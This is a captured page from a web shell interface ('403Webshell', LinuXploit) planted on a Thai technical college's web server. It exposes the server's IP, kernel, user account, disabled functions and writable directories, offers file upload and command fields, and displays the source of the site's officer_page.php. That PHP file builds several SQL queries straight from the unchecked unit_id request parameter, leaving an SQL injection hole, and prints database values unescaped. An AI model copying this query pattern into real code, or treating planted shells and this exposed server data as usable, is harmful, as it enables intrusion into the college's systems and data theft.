403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/domains/technicrayong.ac.th/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/domains/technicrayong.ac.th/public_html/officer_page.php
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta content="width=device-width, initial-scale=1.0" name="viewport">

  <title>Rayong Technical College</title>
  <meta content="" name="description">
  <meta content="" name="keywords">

  <!-- Favicons -->
  <link href="assets/img/logo.png" rel="icon">
  <link href="assets/img/logo.png" rel="apple-touch-icon">

  <!-- Google Fonts -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">

  <!-- Vendor CSS Files -->
  <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="assets/vendor/icofont/icofont.min.css" rel="stylesheet">
  <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="assets/vendor/venobox/venobox.css" rel="stylesheet">
  <link href="assets/vendor/animate.css/animate.min.css" rel="stylesheet">
  <link href="assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="assets/vendor/owl.carousel/assets/owl.carousel.min.css" rel="stylesheet">
  <link href="assets/vendor/bootstrap-datepicker/css/bootstrap-datepicker.min.css" rel="stylesheet">
	<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
                <script src="js/jquery-3.3.1.slim.min.js" type="text/javascript"></script>
                <script src="js/popper.min.js" type="text/javascript"></script>
                <script src="js/bootstrap.min.js" type="text/javascript"></script>
  <!-- Template Main CSS File -->
  <link href="assets/css/style.css" rel="stylesheet">

  <!-- =======================================================
  * Template Name: Medilab - v2.1.1
  * Template URL: https://bootstrapmade.com/medilab-free-medical-bootstrap-theme/
  * Author: BootstrapMade.com
  * License: https://bootstrapmade.com/license/
  ======================================================== -->
</head>

<body>

<?php 
include('topbar.php');
include('connect.php'); 
include('header.php');

	if(isset($_GET['unit_id'])){$unit_id=$_GET['unit_id'];}
	if(isset($_POST['unit_id'])){$unit_id=$_POST['unit_id'];}

		$sql = "SELECT * FROM unit where unit_id='$unit_id'"; 
		
		$result=mysqli_query($conn,$sql);	
		if(mysqli_num_rows($result) > 0){
		$row = mysqli_fetch_array($result,MYSQLI_ASSOC);
				$unit_name=$row['unit_name'];
				$unit_type=$row['unit_type'];
		}
		$sqls = "SELECT * FROM unit_type where type_id='$unit_type'"; 
		
		$results=mysqli_query($conn,$sqls);	
		if(mysqli_num_rows($results) > 0){
		$rows = mysqli_fetch_array($results,MYSQLI_ASSOC);
				$type_name=$rows['type_name'];
				
		}		
						
?>

  <!-- ======= Hero Section ======= -->


  <main id="main">

    <!-- ======= Breadcrumbs Section ======= -->
    <section class="breadcrumbs">
      <div class="container">

        <div class="d-flex justify-content-between align-items-center">
          <h2><?php echo $unit_name;?></h2>
          <ol>
            <li><a href="index.php">หน้าหลัก</a></li>
            <li><?php echo $type_name;?></li>
            <li><?php echo $unit_name;?></li>
			
          </ol>
        </div>

      </div>
    </section><!-- End Breadcrumbs Section -->

	<?php include('head.php'); ?>
  </main><!-- End #main -->
   <section class="inner-page">


		<!-- ======= Doctors Section ======= -->
		<section id="doctors" class="doctors">
		  <div class="container">
			<div align="center">
			  <font color="#4682B4"><h2><a href="<?php echo $off_link;?>"><?php echo $unit_name;?></a></h2></font>
			  <div class="pic"><img src="images/hr1.png" height="20%" width="20%" class="img-fluid" alt=""></div>
			  </br></br>
			</div>				
			
							<?php 
								$sql = "SELECT * FROM teacher where teach_unit='$unit_id' and teach_off='1' and teach_st='1'"; 
								$result=mysqli_query($conn,$sql);	
								if(mysqli_num_rows($result) > 0){
									while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
										$teach_id=$row['teach_id'];
										$teach_name=$row['teach_name'];
										$teach_level=$row['teach_level'];
										$teach_pic=$row['teach_pic'];
										$dep_id=$row['dep_id'];
										$teach_status=$row['teach_status'];
										$teach_off=$row['teach_off'];
										$teach_unit=$row['teach_unit'];
										
										
										$sqlx = "SELECT * FROM teach_level where level_id='$teach_level' "; 
										//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
										$resultx=mysqli_query($conn,$sqlx);	
										if(mysqli_num_rows($resultx) > 0){
											while($rowx = mysqli_fetch_array($resultx,MYSQLI_ASSOC)){
												$level_name=$rowx['level_name'];
											}
										}	
							?> 
			<div class="row" align="center">
			  <div class="col-lg-4 mt-4"></div> 
			  <div class="col-lg-4 mt-4">
				<div class="pic"><img src="teacher/<?php echo $teach_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
					<span><?php echo $teach_name;?></span>
                <p><?php echo $level_name;?></br>
				</br>
				<font color="white"><h5 style="background-color:#1976d2;">หัวหน้า</br><?php echo $unit_name;?></h5></font>
				</br>
			  </div>
			  <div class="col-lg-4 mt-4"></div>
			</div>
			
							<?php }
								} 
							if($unit_id =='5'){ 
								$sql = "SELECT * FROM teacher where teach_unit='5' and teach_off='0' and teach_st='1'"; 
								
								$result=mysqli_query($conn,$sql);	
									if(mysqli_num_rows($result) > 0){
										while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
											$teach_id=$row['teach_id'];
											$teach_name=$row['teach_name'];
											$teach_level=$row['teach_level'];
											$teach_pic=$row['teach_pic'];
											$dep_id=$row['dep_id'];
											$teach_status=$row['teach_status'];
											$teach_off=$row['teach_off'];
											$teach_unit=$row['teach_unit'];
										
							?> 
			<div class="row" align="center">
			  <div class="col-lg-4 mt-4"></div> 
			  <div class="col-lg-4 mt-4">
				<div class="pic"><img src="teacher/<?php echo $teach_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
					<span><?php echo $teach_name;?></span>
               <!-- <p><?php// echo $level_name;?></br> -->
				<p><?php echo "หัวหน้า".$unit_name;?></p>
			  </div>
			  <div class="col-lg-4 mt-4"></div>
			</div>
					<?php     			}
									} 
							}?>
			<div class="container-fluid">
                        <div class="row" align="center">
						
						<?php	$sql = "SELECT * FROM officer where off_unit='$unit_id' and off_st='1'"; 
								
								$result=mysqli_query($conn,$sql);
								$count=mysqli_num_rows($result);								
								if(mysqli_num_rows($result) > 0){
									while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
										$off_id=$row['off_id'];
										$off_name=$row['off_name'];
										$off_pic=$row['off_pic'];
										$off_unit=$row['off_unit'];
										
										$sqlx = "SELECT * FROM unit where unit_id='$off_unit' "; 
										//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
										$resultx=mysqli_query($conn,$sqlx);	
										if(mysqli_num_rows($resultx) > 0){
											while($rowx = mysqli_fetch_array($resultx,MYSQLI_ASSOC)){
												$unit_name=$rowx['unit_name'];
											}
										}
									
											if($count == '1'){  ?> 
												<div class="col-lg-4 mt-4"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												</div>
												<div class="col-lg-4 mt-4"></div>
												<?php }
												if($count == '2'){  ?>
												<div class="col-lg-1 mt-1"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												</div>
												
												<?php }elseif($count != '1' && $count != '2'){ ?>
												
												<div class="col-lg-4 mt-4">
												  <div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
												  <span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												</div>
												
												
										<?php } 
								    }
								} ?>	
                        </div>
						
                </div>
				</br></br>
				<?php if($unit_id =='1'){ ?>
				<div class="container-fluid">
                        <div class="row" align="center">
						
						<?php	$sql = "SELECT * FROM officer where off_unit='27' and off_st='1'"; 
								
								$result=mysqli_query($conn,$sql);
								$count=mysqli_num_rows($result);								
								if(mysqli_num_rows($result) > 0){
									while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
										$off_id=$row['off_id'];
										$off_name=$row['off_name'];
										$off_pic=$row['off_pic'];
										$off_unit=$row['off_unit'];
									
										$sqlx = "SELECT * FROM unit where unit_id='$off_unit' "; 
										//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
										$resultx=mysqli_query($conn,$sqlx);	
										if(mysqli_num_rows($resultx) > 0){
											while($rowx = mysqli_fetch_array($resultx,MYSQLI_ASSOC)){
												$unit_name=$rowx['unit_name'];
											}
										}
										
										if($count == '1'){  ?> 
												<div class="col-lg-4 mt-4"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												</div>
												<div class="col-lg-4 mt-4"></div>
												<?php }
												if($count == '2'){  ?>
												<div class="col-lg-1 mt-1"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
													
												</div>
												
												<?php }elseif($count != '1' && $count != '2'){ ?>
												
												<div class="col-lg-4 mt-4">
												  <div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
												  <span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												  
												
												</div>
												
												
										<?php } 
								    }
								} ?>	
                        </div>
						
                </div>
				<?php }if($unit_id =='5'){ ?>
				<div class="container-fluid">
                        <div class="row" align="center">
						
						<?php	$sql = "SELECT * FROM officer where off_unit='28' and off_st='1'"; 
								$result=mysqli_query($conn,$sql);
								$count=mysqli_num_rows($result);								
								if(mysqli_num_rows($result) > 0){
									while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
										$off_id=$row['off_id'];
										$off_name=$row['off_name'];
										$off_pic=$row['off_pic'];
										$off_unit=$row['off_unit'];
										
										$sqlx = "SELECT * FROM unit where unit_id='$off_unit' "; 
										//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
										$resultx=mysqli_query($conn,$sqlx);	
										if(mysqli_num_rows($resultx) > 0){
											while($rowx = mysqli_fetch_array($resultx,MYSQLI_ASSOC)){
												$unit_name=$rowx['unit_name'];
											}
										}
											if($count == '1'){  ?> 
												<div class="col-lg-4 mt-4"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												</div>
												<div class="col-lg-4 mt-4"></div>
												<?php }
												if($count == '2'){  ?>
												<div class="col-lg-1 mt-1"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
													
												</div>
												
												<?php }elseif($count != '1' && $count != '2'){ ?>
												
												<div class="col-lg-4 mt-4">
												  <div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
												  <span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												
												</div>
												
												
										<?php } 
								    }
								} ?>	
                        </div>
						
                </div>
				<?php }if($unit_id =='6'){ ?>
				<div class="container-fluid">
                        <div class="row" align="center">
						
						<?php	$sql = "SELECT * FROM officer where off_unit='29' and off_st='1'"; 
								$result=mysqli_query($conn,$sql);
								$count=mysqli_num_rows($result);								
								if(mysqli_num_rows($result) > 0){
									while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
										$off_id=$row['off_id'];
										$off_name=$row['off_name'];
										$off_pic=$row['off_pic'];
										$off_unit=$row['off_unit'];
										
										$sqlx = "SELECT * FROM unit where unit_id='$off_unit' "; 
										//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
										$resultx=mysqli_query($conn,$sqlx);	
										if(mysqli_num_rows($resultx) > 0){
											while($rowx = mysqli_fetch_array($resultx,MYSQLI_ASSOC)){
												$unit_name=$rowx['unit_name'];
											}
										}
											if($count == '1'){  ?> 
												<div class="col-lg-4 mt-4"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												</div>
												<div class="col-lg-4 mt-4"></div>
												<?php }
												if($count == '2'){  ?>
												<div class="col-lg-1 mt-1"></div> 
												<div class="col-lg-4 mt-4">
													<div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
													<span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
													
												</div>
												
												<?php }elseif($count != '1' && $count != '2'){ ?>
												
												<div class="col-lg-4 mt-4">
												  <div class="pic"><img src="officer/<?php echo $off_pic;?>" height="50%" width="50%" class="img-fluid" alt=""></div>
												  <span><?php echo $off_name;?></span>
													<p><?php echo "เจ้าหน้าที่".$unit_name;?></br>
												
												</div>
												
												
										<?php } 
								    }
								} 
								
								
								
								?>	
                        </div>
						
                </div>
		<?php } 
			if($unit_id =='9'){	
									$sql = "SELECT * FROM plan"; 
									//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
									$result=mysqli_query($conn,$sql);	
									if(mysqli_num_rows($result) > 0){
										while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
											$plan_id=$row['plan_id'];
											$plan_name=$row['plan_name'];
											$plan_file=$row['plan_file'];
											$plan_link=$row['plan_link'];
											
											if($plan_file == null){
												echo "<a href=\"".$plan_link."\">$plan_name</a>\n";
												echo "</br>";
											}else{ 
		?>
											<a href="plan/<?php echo $plan_file; ?>"><?php echo $plan_name; ?></a></br>
		<?php 
												
											}
												
										
										}
									}		
			}	
		
		if($unit_id =='13'){	
									$sql = "SELECT * FROM quality"; 
									//3.เก็บข้อมูลที่ query ออกมาไว้ในตัวแปร result . 
									$result=mysqli_query($conn,$sql);	
									if(mysqli_num_rows($result) > 0){
										while($row = mysqli_fetch_array($result,MYSQLI_ASSOC)){
											$quality_id=$row['quality_id'];
											$quality_name=$row['quality_name'];
											$quality_file=$row['quality_file'];
											$quality_link=$row['quality_link'];
											
											if($quality_file == null){
												echo "<a href=\"".$quality_link."\">$quality_name</a>\n";
												echo "</br>";
											}else{ 
		?>
											<a target="_blank" href="quality/<?php echo $quality_file; ?>"><?php echo $quality_name; ?></a></br>
		<?php 
												
											}
												
										
										}
									}		
			}	
		?>
										
		  </div>
		</section><!-- End Doctors Section -->
    </section>


<?php include('footer.php');?>

  <div id="preloader"></div>
  <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a>

  <!-- Vendor JS Files -->
  <script src="assets/vendor/jquery/jquery.min.js"></script>
  <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
  <script src="assets/vendor/jquery.easing/jquery.easing.min.js"></script>
  <script src="assets/vendor/php-email-form/validate.js"></script>
  <script src="assets/vendor/venobox/venobox.min.js"></script>
  <script src="assets/vendor/waypoints/jquery.waypoints.min.js"></script>
  <script src="assets/vendor/counterup/counterup.min.js"></script>
  <script src="assets/vendor/owl.carousel/owl.carousel.min.js"></script>
  <script src="assets/vendor/bootstrap-datepicker/js/bootstrap-datepicker.min.js"></script>

  <!-- Template Main JS File -->
  <script src="assets/js/main.js"></script>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit